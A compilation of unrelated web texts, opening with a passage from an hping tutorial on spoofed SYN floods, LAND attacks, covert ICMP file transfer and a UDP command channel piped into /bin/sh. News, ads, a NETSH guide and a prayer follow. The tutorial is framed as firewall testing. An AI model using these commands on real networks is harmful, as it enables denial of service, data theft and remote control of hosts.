[root@HorseyLand-Labs]#hping –V –I eth0 –bind –t 4 –S www.yahoo.com –p 666
-I allows you to select the NIC used
-- bind sets the ttl count to the ctrl + z key combo so that each time you hit ctrl + z the ttl increases
-t sets the initial ttl value in the header
-S SYN flag set
-p port
HPING www.yahoo.com (eth0 126.96.36.199): S set, 40 headers + 0 data bytes
TTL 0 during transit from ip=10.10.10.1
7: TTL 0 during transit from ip=126.96.36.199
Once you reach your destination, you'll see something like this:
len=46 ip=22.214.171.124 flags=SA DF seq=33 ttl=47 id=0 win=5840 rtt=4341.3
HPING: The DoS King
The point of this section is to give you a tool to test out IDS/Firewall appliances as well as router/switch ACLs. Any numb nut can launch a DoS. Only a professional can solve the issue when discovered.
** The SYN Attack **
In the next example, we will use the –a switch to spoof the source address of the attacking host. This is to avoid sending a RST packet from the attacking host.
[root@HorseyLand-Labs]#hping –a 10.10.10.3 –S 10.10.10.10 –p 80 –i u10000
You can set the packet per second rate using the –i (interval) switch. You can take a shortcut and use –fast and it will use 10000 microseconds which equates to 10 packets a second. You will not see *any* response on your host because the return traffic is going to the spoofed host. Keep in mind, this can either piss off the person whos address you spoofed or cause your net admin to have a stroke. Also, the target host may go down depending upon how fast and how many packets you send.
On our W2K3 host, we see a blizzard of SYN Received messages.
C:\netstat –an –p tcp
Active Connections
Proto Local Address Foreign Address State
**SNIPPED** for brevity
Notice that the Foreign Address is the spoofed address you specified with the –a switch.
** LAND DoS Attack **
The idea behind this is quite simple – craft a packet that will connect a socket to itself. The result, if successful will cause the box to consume all of its resources and ultimately a DoS condition occurs. This test is also VERY effective when testing spoofing rules on a firewall. Simply craft a packet using the –a switch and aim it at a host in the DMZ or internal LAN. Of course this assumes that you have this information (legitimately of course). Check and see if the firewall dropped the illegal packets. If not, start writing ACLs!!
Let's try it out…
[root@HorseyLand-Labs]#hping -S -a 10.10.10.10 -p 21 10.10.10.10
HPING 10.10.10.1 (eth0 10.10.10.1): S set, 40 headers + 0 data bytes
Again, you'll see no response for reasons which should be very obvious by now. Most systems wont fall victim to this (like NT did) anymore but again, it is very helpful in firewall rule testing.
Payload (Signatures): The True Art of Packet Crafting
We're going to look at ways to use (misuse) HPING with an actual payload. The first example will deal with UDP payloads.
Fire up any editor and create a file with some kind of text. In my example, I created a file named payload.txt with the content of HAXOR. The file resides in the same directory where I am running HPING.
[root@HorseyLand-Labs]#hping -2 –p 7 –d 50 –E payload.txt 10.10.10.10
-2 puts HPING in UDP mode
-d specifies data length
-E tells HPING to use a signature from the specified file. The file can reside anywhere, however, you'll need to use absolute paths (i.e. /root/data/haxorfiles/filename.tx) if the file isn't in your current working directory.
Ethereal capture of the packet:
0000 00 a0 c9 df ff 84 00 c0 4f 48 aa 72 08 00 45 00 ........ OH.r..E.
0010 00 4e db e8 00 00 40 11 3d d1 ac 1d 04 3b ac 1d .N....@. =....;..
0020 04 70 04 34 00 35 00 3a a7 90 48 41 58 4f 52 0a .p.4.5.: ..HAXOR.
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
0050 00 00 00 00 00 00 00 00 00 00 00 00 ........ ....
As you can see, this could get very ugly with a little time and imagination. While I have given you enough information to be dangerous, I have not given you enough to be an outright menace. You'll have to practice with the items learned in this series and before long, you'll know exactly what I mean.
HPING: File Transfers Made Easy
Up until now, you have learned how to use HPING for testing purposes, but it has a whole set of addition features – file transfer.
The listen feature will put hping in listen mode for a specific signature. The signature is simply a string for which hping will listen and parse everything in a packet after this signature. You can specify for what protocol (ICMP, UDP and TCP) to listen for. Our example will use ICMP, You can experiment with TCP and UDP if you like. One *important* thing I will mention is that HPING doesn't give a **** what is listening on a port. So if you play with TCP transfers, be sure that you don't bind it to a port in use otherwise, like a true vagrant, it will squat on that port and grab/send traffic until told otherwise.
Step one: Setup the listener: There are two ways to do this. The safe way, where you setup HPING to listen for data from a specific host or you can listen for traffic from any host. The safe method is achieved with the ever so surprising –safe switch. However, we wont be using this method.
On the listening host: NOTE: "signature" refers to shared secret. It must be the same on the listening host and transferring host.
[root@HorseyLand-Labs]#hping –I eth0 --listen signature --icmp
hping2 listen mode
On the transferring host:
[root@CrackHouse]#hping –I eth0 –icmp –d 100 –sign signature –file /home/example
NOTE: The –d switch is important. Be sure it is large enough because this is the value HPING uses to determine data size.
Now, on your listenig host, you will see the following appear (remember, this is the content of my file)
[root@HorseyLand-Labs]#hping –I eth0 --listen signature --icmp
hping2 listen mode
Wow, this is a nice way
To steel information if
The admin is asleep at
The wheel. I sure hope
That important information
Such as credit card #s
Aren't in this file.
As you can see, the evil possibilities are endless.
HPING: A Trojan in disguise?
There is a file transfer technique that I did not cover in detail which will allow HPING to be set in a full duplex channel across stateless filters. This is achieved with using the –SA switch along with a TCP transfer. You are quite capable of setting this up with the knowledge gained thus far but because this is on AO, I cannot post the precise instructions. Anyway, let's assume that we were able to set this connection up. You can execute commands on the remote machine. Yep, you read correctly.
I'll simply provide the commands.
Local machine:
[root@HorseyLand-Labs]#hping –I eth0 --listen signature --udp -p 53 |/bin/sh
hping listen mode:
Remote Machine:
[root@CrackHouse]# echo ls >watchthis.cmd
[root@CrackHouse ]# hping 192.168.10.44 -p 53 -d 100 --udp --sign
siganature --file ./watchthis.cmd
The result will be a directory listing of the remote machine appears on your local machine:
[root@HorseyLand-Labs]#hping –I eth0 --listen signature --udp -p 53 |/bin/sh
hping listen mode:
Again, the possibilities are endless.
Well that wraps up tutorial 4. In the final installment, we will examine countermeasure techniques so that you can once again sleep at night!
Well, what do all think so far?


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Related links:
Headlines declare (12/2/96): Ice patches seen on Earth's moon
Radar images of the Moon's surface taken by American Defense Departments's Clementine lunar probe have pointed to the possibility of finding water on the Moon. The images of the Moon's south pole region show a patch of ice about 16 feet thick and roughly the size of four football fields.
"People had speculated since the early 1960s that ice might collect in the permanent shadow of the Moon," said Dr Stewart Nozette, an astrophysicist at the Lawrence Livermore Laboratory and head of science team on the Clementine spacecraft program. "We realized that we could use the spacecraft's communications antenna to shine like a flashlight into the lunar south pole. Ice reflects radar waves differently from rock, bouncing it around inside the frozen water molecules before it emerges."
One theory suggests that the source of ice was a comet which hit the Moon's surface some 3.6 billion years ago. Water from the icy comet was collected in the bottom of the crater where temperatures fall as low as -230 C. Because moon has no atmosphere, comets which are nine tenths water, do not burn up as they approach its surface. Upon impact with the Moon's surface, gaseous matter from comets hangs around as a cloud. Water molecules from this cloud get trapped in extreme cold regions, finally depositing as ice. The scientist now theorize that vapor from comet impacts drifted towards the pole where it got trapped in extreme cold and turned into ice.
The possibility of finding water on the Moon's surface has stirred speculations that by 2046 humans may be able to colonize the Moon or set up a lunar rocket refueling station. Using electric power provided by solar panels on the crater's sunlit rim, mined ice could be split into hydrogen and oxygen to provide rocket fuel, or to make your own air.
"This may be the most valuable piece of real state in the solar system," said Paul Spudis, one of the scientists who made the discovery.
If the Moon could be used as an interplanetary filling station, it would reduce the cost of transport to and from it by a factor of 10. It would make space exploration easier by relieving the problem of limited fuel and food which is one of the major obstacles in today's space missions.
The discovery was made two years ago (~1994), but was hushed until now as the data were being analyzed. The evidence of water was collected by a satellite designed to test technology for tracking and intercepting hostile missiles. The Clementine mission used the Moon as a mock target to test missile sensor equipment, but during its two-month lunar orbit it collected 1.8 million images of over 99.9 per cent of the Moon's surface. Six visits to the equatorial region of the Moon by Apollo spacecraft turned up no trace of water. Twelve astronauts, all from the U.S., have walked on the surface of the moon, which is about 239,000 miles from the Earth.


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Make sure that you select the report(s) that you want to purchase before you proceed. All sales are final and not refundable. Your reports are emailed to you. The interpretation does not appear on the screen. Within 1 minute of placing your order, the report will appear in your inbox of your email program. If it does not, check a spam folder or junk folder to see if it was placed there. "Birth Time Unknown" Reports Note also that some reports are not available in a "Birth Time Unknown" version because they require a birth time. |
Imagination & Inspiration Map — by David Cochrane
Map for South East Asia The Imagination and Inspiration Map shows geographic areas where you are more likely to feel inspired, with heightened intuition and a strong imagination. If you are involved in the arts, music, literature, or other creative areas, you are likely to find that in these geographic areas new creative and imaginative ideas easily come to you while. You may also have more vivid dreams, and mystical or psychic experiences. These geographic areas are often good places to vacation or retreat from the everyday demands of life. Areas on the map that are tinted with a red color are the best areas for heightened imagination and intuition. Yellow areas are also good, but not as powerful as the red areas. An area with no coloration is not a strong area for imagination and intuition. To read the map, locate the darkest red line. The shadow that shows the line is how far that astrological influence reached on a geographic area on the map. View Sample » |


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Consortium Information Webinar
Map Unavailable
Date - 10/07/2013
7:00 pm - 8:00 pm
In this hour-long webinar, a member of The Consortium Recruiting Team outlines the benefits of becoming a Consortium member. This webinar also focuses on building a strong membership application in regard to the membership essay and membership recommendation. Register here.


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It's a peculiar problem for "live" games that are expected to mutate over time... and player expectation is that it will mutate to their taste.
People like salt. It's a great substance. Makes food taste more. Tasteless soup? Add salt. Tasteless anything? Add salt.
But flavor is something we get used to. Like most things. People who eat spicy food get used to spice. People who eat salty food get used to salt. It ceases to taste salty. Companies did the only sensible thing when competing with salt-addicted customers: they added more. And more. Before long the level of salt in prepared foods was enough to kill a bear at 300 yards, so the FDA tried to step in. But that's beside the point.
Salt is analogous to something in WoW. Maybe it's mount speed, teleportation, or disambiguation of quest objectives. Something that has been desired, and justifiably, since we need salt to live. Gold? Maybe it's experience gain. Blizzard adds salt since that's what we want. Then we get used to it and need more salt. And more. Eventually some high and mighty know it all Pollyanna* who knows better than you comes along to say that this is bad. I guess in this analogy I'm the FDA, except remarkably with even less funding. Hey Congress, a hand here!
In real life I don't eat a lot of salt. My family is in the habit of cooking and we're not major users of the salt shaker for most foods. As a result, we're not desensitized to salt. And so we don't use as much. And so on. Now sugar, I like sugar. Chocolate and... chocolate. Okay maybe I just like chocolate. I'm sure this fits into the analogy somehow. But give me too much salt and I'll feel sick, with too much being a lower amount than for other people.
Have you ever eaten pure salt? It doesn't taste very good. My brother once missed lunch when he was in grade school and somehow got a bunch of salt packets, which he then ate because he was hungry. He got very sick. Pure salt just isn't very good. Added to food it is great. But by itself, not at all.
I think WoW just doesn't have enough food for all the salt it has been putting in it.
* Did you know there are poor children who have never even gotten to play a MMO? They'd love to have the WoW that we keep whining about. But just next door are an elderly couple who may not even own a computer and what do I do to help them with their horrible deprivation? Nothing.
P.S. If the title makes no sense it's because it's from a show about nothing.


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Main Content
Top of the pageLearning Center
Many people use complementary medicine along with traditional medical care. Complementary medicine therapies, like herbal remedies or yoga, focus on your overall health and may help you feel better. But it's important to discuss any treatments with your doctor and to make sure that these treatments don't replace traditional medical care. Explore our topics to see if these treatments are right for you.
Learn about complementary medicine with topics such as:
Current as of: September 8, 2022
Author: Healthwise Staff
Medical Review:Adam Husney MD - Family Medicine & Martin J. Gabica MD - Family Medicine
This information does not replace the advice of a doctor. Healthwise, Incorporated, disclaims any warranty or liability for your use of this information. Your use of this information means that you agree to the Terms of Use. Learn how we develop our content.


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From D&D Wiki
(Redirected from Constrict (SRD Creature Ability))
This material is published under the OGL 1.0a. |
Constrict (Ex)
A creature with this special attack can crush an opponent, dealing bludgeoning damage, after making a successful grapple check. The amount of damage is given in the creature's entry. If the creature also has the improved grab ability it deals constriction damage in addition to damage dealt by the weapon used to grab.
Back to Main Page → 3.5e Open Game Content → System Reference Document → Special Abilities


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Four researchers from Carnegie Mellon University's Green Design Institute discuss their more conservative estimates of greenhouse gas emission reductions in two papers this month.
A quartet of researchers at Carnegie Mellon University's Green Design Institute conclude in two new papers that ignoring uncertainty in any coal-to-natural-gas transition for generating electricity can make a substantial difference in estimating the net environmental effect of the change. Researchers Aranya Venkatesh, W. Michael Griffin, H. Scott Matthews, and Paulina Jaramillo concluded life cycle assessment (LCA, the study of impacts that occur from cradle to grave) can be useful in these analyses.
Their papers appear in the October issue of Environmental Research Letters and in Environmental Science and Technology, according to a news release posted by the university.
While many studies simply examine different emissions from coal and natural gas plants, suggesting roughly a 50 percent reduction in greenhouse gas emissions, these researchers conclude the reduction is likely to be 7-15 percent instead because of changes in grid operation in response to price changes in natural gas.
"As natural gas prices go down, it becomes cheaper to operate natural gas plants, and some of these plants start being operated more often. This results in some coal plants being operated less often. However, given certain technical constraints related to the operation of existing power plants, the displacement of coal-based generation is limited," said Jaramillo, an assistant research professor in CMU's Department of Engineering and Public Policy. To cut emissions by 50 percent using natural gas would require a significant retirement of coal plants and building new natural gas plants.
The second paper examined the uncertainty in emissions that could be expected from retiring coal-fired power plants. While it suggests reductions in greenhouse gas emissions from limited retirement of coal plants will be minimal, emissions of sulfur and nitrogen oxides would be substantial, up to 25 percent, in some areas. (The paper focuses on up to 7 gigawatts of coal capacity being retired without building new power plants to replace them.) "We found that if expected coal plants retire, that alone will not bring us dramatic reductions in climate change inducing greenhouse gas emissions," said Matthews, a professor in CMU's Civil and Environmental Engineering and EPP departments.
"In addition, the benefits achieved from reducing emissions of sulfur and nitrogen oxides, while substantial in aggregate measures, will not be evenly distributed; and while some counties will see reductions in the emissions of these criteria air pollutants, some counties will see increases," Jaramillo said.
This free educational webinar will provide a detailed process for climate-driven "pre-response" in a variety of key areas including: Supply Chain Disruptions, Employee Safety and Productivity, Regulatory and Compliance Risks …and many more areas.


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NETSH is one of the most powerful tools in the Windows networking toolkit. This list will introduce you to some good uses of NETSH in various scenarios and show you how you can streamline your networking configuration, administration, and documentation.
#1: What is NETSH?
NETSH is one of the most powerful yet least known networking tools included with Windows 2000 and Windows Server 2003. It's installed by default and is located in the %systemroot%\system32 folder. NETSH is also available on Windows XP.
NETSH enables you to display, modify, import, and export many aspects of the network parameters of a system. It can also connect remotely to other systems with a remote machine parameter (-r).
#2: Contexts for NETSH
Contexts are specific dimensions of the network configuration that can be managed by NETSH. The commands and options within NETSH are context sensitive, and the same command may exist in multiple context areas but have different commands and results in each context. Here are the Windows Server 2003 NETSH context areas:
Context – Description
aaaa -Authentication, authorisation, accounting and auditing
dhcp – DHCP server administration
diag – OS and network service parametres
interface – NIC configuration; includes subcontexts
ipsec – Alternative to IP service parameters
netsh bridge – Network bridging configuration
ras – Remote access server configuration
routing – Routing administration (instead of RRAS)
rpc – subnet and interface settings
wins – Windows Internet Name Service administration
Now, to add to the confusion, a context can have a subcontext. For example, the interface context has three subcontexts, ip, ipv6, and portproxy. NETSH refers to these subcontexts as a context, such as the netsh interface ip context. Note that Windows XP has a different set of contexts. When using the import and export operations in noninteractive mode, you must specify context or subcontext configuration.
#3: Coordinating network change control with NETSH
You can use NETSH to export and import network configurations. A good example of using NETSH with networking change control would be when a system is going to be placed on a different network, but the communication channels need to be maintained to various other systems. A NETSH export will allow all parties to agree on various network settings. For example, here is a portion of a NETSH export of the interface context from a dump operation.
set address name = "Teamed NIC" source = static addr = 10.64.32.100 mask = 255.255.252.0
set address name = "Teamed NIC" gateway = 10.25.44.1 gwmetric = 1
set dns name = "Teamed NIC" source = static addr = 10.64.22.50
add dns name = "Teamed NIC" addr = 10.95.61.22
add dns name = "Teamed NIC" addr = 10.95.45.34
set wins name = "Teamed NIC" source = static addr = 10.95.45.70
add wins name = "Teamed NIC" addr = 10.95.45.25
Reviewing a NETSH export with all parties involved can ensure that the system will be routed correctly, using the correct DNS, WINS, and subnet mask. The best part is that you can then import the entire file into the Windows system after all appropriate entries have been made without any chance of entering the information incorrectly. And this is only for the interface context. The same applies for all other context scripts.
#4: Using NETSH to dynamically change TCP/IP addresses
You can use NETSH to make dynamic IP address changes from a static IP address to DHCP simply by importing a file. NETSH can also bring in the entire Layer-3 configuration (TCP/IP Address, DNS settings, WINS settings, IP aliases, etc.). This can be handy when you're working on networks without DHCP and have a mobile computer that connects to multiple networks, some of which have DHCP. NETSH shortcuts will far exceed the capabilities of using Windows Automatic Public IP Addressing. Here is an example of running a dynamic update of an IP address:
C:\NETSH -f filename.netsh
In this example, filename.netsh is the NETSH file that contains an interface dump configuration. You can make shortcuts in Windows to a .BAT file that will run that command so you can easily add shortcuts to get a DHCP address and switch to a static IP address for a customer site, DMZ network, or any other static IP network.
#5: Best practice: Using a .NETSH extension
NETSH import and export operations are in a native plain text format and can be read and edited from any text tool. However, NETSH files should be handled as a special file type because they're used to document network configurations, as well as for the import and export process. A best practice would be to make all export operations refer to a FILE.NETSH, where this file is what has been exported from NETSH. This is especially important because a NETSH export file doesn't contain the word NETSH in it. This way, even a novice can figure out what the file contains.
The file extension from export (dump) and import (-f) operations are entirely user specified. For convenience, you can associate the .NETSH extension with your Windows installation to allow native double-click editing.
#6: NETSH in interactive mode
NETSH is one of the Windows tools that can be run in either an interactive or a noninteractive environment. Interactive tools (such as nslookup and dnscmd) have effectively different usage scenarios depending on the mode chosen.
Interactive mode also has two submodes, online and offline. Online mode is a direct interaction with the networking components while in interactive mode. Offline mode lets you interactively make changes and then roll them all online instantly by going to online mode.
#7: NETSH in noninteractive mode
In noninteractive mode, you can implement NETSH commands by importing a file. Using noninteractive mode is recommended for file import and export operations. With NETSH in noninteractive mode, you can export key settings from each context as a specific aspect of your system documentation. In addition, if an issue arises and you can trace it back to a specific networking topic for which you have a NETSH script exported from a known working time, you can re-import that NETSH script in noninteractive mode and restore your networking functionality to that point. Please note that NETSH does not back up data within the contexts, such as the WINS database.
#8: Clarifying the scripts
When exchanging NETSH scripts, you can insert comments to solicit feedback. This will allow you to explain an entry or use it as a training tool for others. Simply insert REM in a NETSH exported file to add a comment. Don't put in too many comments, however; just what is necessary.
#9: NETSH precautions
NETSH is a powerful tool and should be used with caution. Using interactive online mode (the default) for changes on the fly can be more risky than implementing a change in interactive offline mode and going online to commit the changes. However, using noninteractive mode to perform changes is popular as well because the changes can be scripted. Try your hand at NETSH on a virtual machine or test system first.
#10: Navigating NETSH
The large array of features available in NETSH may seem overwhelming at first. It's helpful to get into NETSH to see the options available and practice using the interface in interactive mode (a little different for those of us used to noninteractive tools). Getting into NETSH in interactive mode is easy: Simply type NETSH at the command prompt. Then, use these guidelines to investigate the command options:
|> To change to another context, type the name of the context. For example, typing interface ip will go immediately to the interface ip context from which ever context you are presently located.
|> To change your mode, type offline or online. Typing offline will send the interactive session offline, so any changes won't be brought in immediately. Typing online will bring the interactive session online, so changes will immediately be brought into the networking elements of the system.
|> Typing show mode will display the current mode (offline or online). The default mode is online, so be sure to immediately jump offline if you are experimenting.
|> Typing ? or help will show the available commands for your current context location. If you're in the root of the tool, there is no active context and your interface to the tool will be a netsh> prompt.
|> Global commands, such as online and quit, are those you can use everywhere. Context commands are available only in the current context. For example, from the netsh interface ip> context, you can view the network configuration by running show dns, but this command may not work other contexts or subcontexts.
|> In contexts, running set and show will provide the context-sensitive command options.


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EPA's Office of Air and Radiation (OAR) has requested Council review of a case study entitled "Section 812 Prospective Study of the Benefits and Costs of the Clean Air Act: Air Toxics Case Study & Health Benefits of Benzene Reductions in Houston, 1990-2020." This case study presents a methodology for assessing the benefits of reducing benzene levels in the Houston, Texas, area over 30 years. OAR conducted this case study as part of the second prospective study on the costs and benefits of the Clean Air Act programs being developed by EPA's Office of Air and Radiation (OAR).
On this page:
See EPA's PDF page to learn more about PDF files.
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At the Annual General Meeting of UBS AG, held on May 7, 2014, UBS's shareholders
confirmed in their offices those members of the Board of Directors who stood for re-election. 1,666 shareholders attended the meeting, representing 1,994,794,917 votes.
Zurich/Basel, 7 May 2014 – At the Annual General Meeting UBS AG shareholders approved the Annual Report and Consolidated Financial Statements for 2013 and confirmed Ernst & Young AG, Basel, as auditors and the Independent Proxy (ADB Altorfer Duss & Beilstein AG, Zurich). They also approved the distribution of a dividend of CHF 0.25 per share (98.80%) from capital contribution reserves.
Compensation Report approved
In an advisory vote, a majority of shareholders (85.93%) approved the Compensation Report for 2013.
Discharge approved
Shareholders approved the discharge of the members of the Board of Directors and the Group Executive Board for the 2013 financial year (87.30%).
Amended Articles of Association approved
Shareholders approved the amended Articles of Association of UBS to implement the new Ordinance Against Excessive Compensation in Listed Stock Corporations (73.38%).
EU Capital Requirements Directive of 2013 (CRD IV) approved
In an advisory vote, a majority of shareholders (98.34%) approved the EU Capital Requirements Directive of 2013 (CRD IV).
Elections to the Board of Directors
The Annual General Meeting confirmed in office the Chairman of the Board of Directors, Axel A. Weber (96.09%) and fellow Board members Michel Demaré (98.13%), David Sidwell (98.04%), Reto Francioni (98.87%), Ann F. Godbehere (97.81%), Axel P. Lehmann (98.31%), Helmut Panke (97.91%), William G. Parrett (94.24%), Isabelle Romy (98.69%), Beatrice Weder di Mauro (98.70%) and Joseph Yam (98.26%). Detailed CVs of all the members of the Board of Directors are available at www.ubs.com/bod.
UBS wishes to thank Rainer-Marc Frey, who has stepped down from the Board of Directors, for his valuable contributions to the firm, and wishes him all the best for the future.
Elections to the Human Resources and Compensation Committee
Shareholders elected Ann F. Godbehere (97.35%), Michel Demaré (97.45%), Helmut Panke (97.40%), and Reto Francioni (98.54%) to the Human Resources and Compensation Committee.
1,666 shareholders attended the Annual General Meeting, representing 1,994,794,917 votes.
Investor contact
Switzerland: +41-44-234 41 00
Media contact
Switzerland: +41-44-234 85 00
Americas: +1-212-882 58 57


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A new report on global religious identity shows that while Christians and Muslims make up the two largest groups, those with no religious affiliation -- including atheists and agnostics -- are now the third-largest "religious" group in the world.
The study, released Tuesday (Dec. 18) by the Pew Forum on Religion & Public Life, found that more than eight in 10 (84 percent) of the world's 7 billion people adheres to some form of religion. Christians make up the largest group, with 2.2 billion adherents, or 23 percent worldwide, followed by Muslims, with 1.6 billion adherents, or 23 percent worldwide.
Close behind are the "nones" -- those who say they have no religious affiliation or say they do not believe in God -- at 1. 1 billion, or 16 percent. That means that about the same number of people who identify as Catholics worldwide say they have no religion.
"One out of six people does not have a religious identity," said Conrad Hackett, a primary researcher and demographer on the study. "But it is also striking that that overwhelming majority of the world does have some type of religious identity. So I think people will be surprised by either way of looking at it."
The next largest groups, the report finds, are Hindus (1 billion people, or 15 percent), Buddhists (500 million people, or 7 percent) and Jews (14 million people, or 0.2 percent). More than 400 million people -- 6 percent -- practice folk traditions from African, Chinese, Native American or Australian aboriginal cultures.
An additional 58 million people -- slightly less than 1 percent of the global population -- belong to "other" religions, such as the Baha'i faith, Jainism, Sikhism, Shintoism, Taoism, Tenrikyo, Wicca and Zoroastrianism.
In addition to the numbers of adherents, the study also looks at where they live. Christians are the most evenly distributed, while Jews are fairly evenly divided between North America and the Middle East. The United States has the highest number of Christians of any nation, at more than 243 million, or 78 percent of the total U.S. population.
Meanwhile, the majority of the world's religiously unaffiliated -- 76 percent -- live in the Asia-Pacific region, with 700 million in China alone, where religion was stifled during the Cultural Revolution.
The report found nearly 51 million religiously unaffiliated Americans, or about 16.4 percent of the U.S. population. That number is smaller than the 19 percent of Americans Pew reported earlier this year. Researchers attribute this discrepancy to the fact that their 2012 report was based on information from adults only, and the newest report includes the religious adherence of children, which tends to be higher than that of adults.
And while the number of the religiously unaffiliated is high, researchers are careful to point out that they are by no means homogeneous.
Surveys considered in this report show that 7 percent of unaffiliated Chinese report a belief in God or some other high power, while that number among the unaffiliated French is 30 percent, and among Americans it climbs to 68 percent. In China, 44 percent of unaffiliated adults say they have worshiped at a graveside or tomb in the past year.
The report covers 230 countries and is drawn from more than 2,500 censuses, surveys and population records accrued through 2010. It marks the first attempt to pin down a global religious landscape using such records, Hackett said.
Other findings include:
- About three-quarters (73 percent) of the world's people live in countries where their religion is in the majority, mostly Christians and Hindus.
- The religiously unaffiliated are in the majority in six nations: China, the Czech Republic, Estonia, Hong Kong, Japan and North Korea.
- The unaffiliated, Buddhists and Jews have the highest median age (34, 34 and 36 respectively) while Muslims, Hindus and Christians have the lowest (23, 26 and 30 respectively). Median age is a predictor of how religious groups will grow, as those with a younger age have more women of child-bearing age.
Ryan Cragun, a religion sociologist at the University of Tampa who studies the nonreligious, said the numbers on the unaffiliated are not surprising. But he cautions that surveys that rely on secondary data, such as censuses, and self-reporting often over calculates some groups, such as Christians.
"The real question is whether or not the nonreligious are outpacing the religious when it comes to growth," he said.


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By Peggy Nelson
Nashville – 1975 – dir. Robert Altman
Set in Nashville, Tennessee, home of the Grand Ole Opry, Nashville (dir. Robert Altman, 1975) follows musicians, con artists, politicians, and weirdos as their lives overlap and intersect over the course of a fateful few days. The film showcases Altman's signature style of combining multiple story lines, noisy, overlapping dialogue, and realistic, scattered camera angles into a complex yet consistent narrative whole. Considered by many to be Altman's best film, it sashays between dialogue and song, the individual and the political, and humor and tragedy, without missing a beat.


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This is a modification of an unanswered problem on the math StackExchange.
When is the product $(1+1)(1+4)…(1+n^2)$ a perfect square?
If $(1+1)(1+4)…(1+n^2)=k^2$ then one possibility is $n=3$, $k=10$. Could there be other integer solutions for $(n,k)$?
Surely the answer is NO, but I am unable to prove that $n=3$, $k=10$ is the only possibility.


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The Historic Guazapa Volcano
Community tours with Guazapa Tours
Gringo tours can arrange hikes, horseback rides and camping on the historic Guazapa Mountain. We provide complete bilingual guide to compliment the local guides that run tours out of the communities of El Sitio Zapotal and La Mora.
Service includes transportation to and from community, bilingual guide and bottled water. Hikes with local guides start at $30 (groups of 1-5 and $5 for each additional person), horseback rides cost between $20-$30/person, lunch can be arranged on the mountain for $6/person (only available for groups of 4 or more and with advance notice), the above expenses are paid to local guides and are used to provide income to youth group in each community. Since 2021 one of the communal groups no longer offers tours and the other has been difficult to arrange and seems like they are unwilling to provide tours to individuals and very small groups.
If you are fluent in Spanish, these tours can be done on your own and we would be happy to make your arrangements and provide details free of charge. We are the only tour company in El Salvador that provides this service free of charge or commissions from these communal eco tourist groups. If you wish to reserve directly the Guazapa Tours Community Youth Group can be contacted via WhatsApp at +(503) 7959-3394 (in Spanish of course)
If you would prefer and if your Spanish is limited, we do provide for an additional $100-$150 fully bilingual guide service and transportation from and back to Suchitoto. We believe that Gringo Tours is your best option if you are not fully fluent in Spanish and you wish to learn how the civil war affected Suchitoto and El Salvador during the 70s and 80s. I have taken great interest in the civil war and can provide details that many other guides cannot. We always work with the local communities and their guides, which many times are young and only know what they have been told about the conflict. We compliment that information when necessary making this a great introduction into the civil war and El Salvador history.
We will also teach you how local farmers work the land: The Guazapa Mountain also offers plenty of diversity and it is common to see the local wildlife while learning about the many different species of trees, plants, animals and birds.
The trails also offer some spectacular views from the historic Guazapa Mountains.
Reservations for groups of 1 to 10 people must be made at least 24 hours in advance (more for larger groups).
Tours last between 3 and 8 hours depending on route, distance, walking speed and meal options.
If interested in bird watching, this route can be used to see many local and migratory birds this as an option if not interested in the history.
As of May of 2017 the association now offers a Canopy/zip line tour and their own birding tours and access to a new communal museum.
Ask about pricing for these newer options
The circuit at Guazapa Tours
Included in this tour:
• Transportation from Suchitoto in vehicle with A/C
• Bottled water(1 bottle/person)
• All Entrance fees
• Local guide fees
• Bilingual guide
Tour Duration of Tour including transportation:
5-7 hours
Difficulty level of Tour:
Moderate to Difficult
Not Included
• Snacks and Meals
• Lodging
• Optional Tips to local guides
• Cost of optional activities including: Mountain bike, Jet ski, Buggy, Zip line/Canopy, Kayak, Rafting or other activities not mentioned in tour description


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Is there any possible way that I can align a JList box within a panel. To the left side, right side, center side, or bottom side. If so, then how can I implement this?
Can someone give me example coding? And, does this method require you to use the setHorizontalAlignment()?
Thank you,


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Follow Us:
This is not an offer for credit and should be used for estimation purposes only based on the information you provided. You should not base your decision on this estimate alone. Title, registration, tax and other fees, and personal circumstances such as employment status and personal credit history, were not considered in the calculations.
Performance never looked so good. The Suzuki Boulevard C90 B.O.S.S. rewards you with a striking combination of blacked-out styling and heart-pounding performance, thanks to its 90-cubic-inch V-twin engine. Along with aggressive styling and stunning performance, it features a spacious riding position and large floorboards for comfortable cruising on the highway, matched by precise agile handling provided by its rigid chassis and advanced suspension.
Front - 130/80-17 M/C 65H tubeless
Rear - 200/60-16 M/C 79H tubeless
Front - Telescopic, coil spring, oil damped
Rear - Link type, solo shock, coil spring, oil damped


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With women comprising of 28 per cent of all entrepreneurs in Canada, only a small percentage of their companies will make it successfully, according to a new study.
Brookfield Institute for Innovation and Entrepreneurship partnered with Women Entrepreneur Knowledge Hub (WEKH) to create an in-depth survey providing insight into how governments, financial institutions, business support organizations and other stakeholders involved in entrepreneurship can better equip women in finding career success.
Researchers conducted interviews with 30 entrepreneurs from B.C. to Nova Scotia, including the Northern Territories.
Surveying found that despite insufficient support from government, funders and business support organizations, women entrepreneurs have been able to find new and creative pathways that lead to success.
Main findings include that systemic barriers still persist, connected to race, social and gender factors.
Women entrepreneurs who were a part of the survey say they chose to ensure that their business or company's growth was for their own well-being and that of others.
Another key finding is that business owners are facing difficulties in accessing financial accommodations.
Many of the women interviewed reported seeing a gap between how they convey their confidence, and being faced with the expectation that entrepreneurs are brash and arrogant.
Women said they are basing decisions about how and when to grow their companies around family planning and that doing so should make them no less successful or ambitious as others.
According to their website, WEKH is a national network and accessible digital platform for sharing research, resources, and leading strategies. With ten regional hubs and a network of more than 250 organizations, WEKH is designed to address the needs of diverse women entrepreneurs across regions and across sectors.
Like us on Facebook and follow us on Twitter.
Want to support local journalism? Make a donation here.


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Image: HolySpiritHemet |
This Pentecost Novena post is for Tuesday, June 7. Each day's post will include: a scripture verse drawn from the day's liturgy; an intention for a particular group; and the novena prayer based on the seven gifts of the Holy Spirit.
Pentecost Novena - Day 5
To enter into a spirit of prayer...
Listen to one of the fifteen songs found on the widget at the top of the sidebar: Songs for Pentecost Novena
Scripture of the day...
"I revealed your name to those whom you gave me out of the world.They belonged to you, and you gave them to me,
and they have kept your word.
Now they know that everything you gave me is from you,
because the words you gave to me I have given to them,
and they accepted them and truly understood that I came from you,
and they have believed that you sent me.
I pray for them.
I do not pray for the world but for the ones you have given me,
because they are yours, and everything of mine is yours
and everything of yours is mine,
and I have been glorified in them.
And now I will no longer be in the world,
but they are in the world, while I am coming to you."
